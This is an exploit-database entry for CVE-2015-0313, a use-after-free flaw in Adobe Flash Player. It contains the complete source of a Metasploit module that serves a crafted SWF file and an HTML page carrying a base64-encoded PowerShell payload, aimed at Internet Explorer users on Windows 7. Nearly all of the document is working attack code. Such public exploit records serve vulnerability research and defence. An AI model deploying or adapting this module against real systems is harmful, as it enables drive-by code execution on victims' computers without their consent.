Adobe Flash Player ByteArray With Workers Use After Free

vendor:

Flash Player

by:

Unknown, hdarwin, juan vazquez

N/A

CVSS

N/A

Use After Free

Unknown

CWE

Product Name: Flash Player

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE: CVE-2015-0313

CPE: Unknown

Other Scripts:

Platforms Tested: Windows

2015

Adobe Flash Player ByteArray With Workers Use After Free

This module exploits an use after free vulnerability in Adobe Flash Player. The vulnerability occurs when the ByteArray assigned to the current ApplicationDomain is freed from an ActionScript worker, who can fill the memory and notify the main thread to corrupt the new contents. This module has been tested successfully on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.

Mitigation:

Unknown

Source

Exploit-DB raw data:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'                => 'Adobe Flash Player ByteArray With Workers Use After Free',
      'Description'         => %q{
        This module exploits an use after free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, who can fill the memory and notify the main
        thread to corrupt the new contents. This module has been tested successfully on
        Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
      },
      'License'             => MSF_LICENSE,
      'Author'              =>
        [
          'Unknown', # Vulnerability discovery and exploit in the wild
          'hdarwin', # Public exploit by @hdarwin89 (all the magic)
          'juan vazquez' # msf module
        ],
      'References'          =>
        [
          ['CVE', '2015-0313'],
          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-02.html'],
          ['URL', 'http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/'],
          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0313-the-new-flash-player-zero-day/']
        ],
      'Payload'             =>
        {
          'DisableNops' => true
        },
      'Platform'            => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          :flash   => lambda { |ver| ver =~ /^16\./ && ver == '16.0.0.296' },
          :arch    => ARCH_X86
        },
      'Targets'             =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'          => false,
      'DisclosureDate'      => 'Feb 02 2015',
      'DefaultTarget'       => 0))
  end

  def exploit
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status('Sending SWF...')
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
      return
    end

    print_status('Sending HTML...')
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0313', 'msf.swf')
    swf =  ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end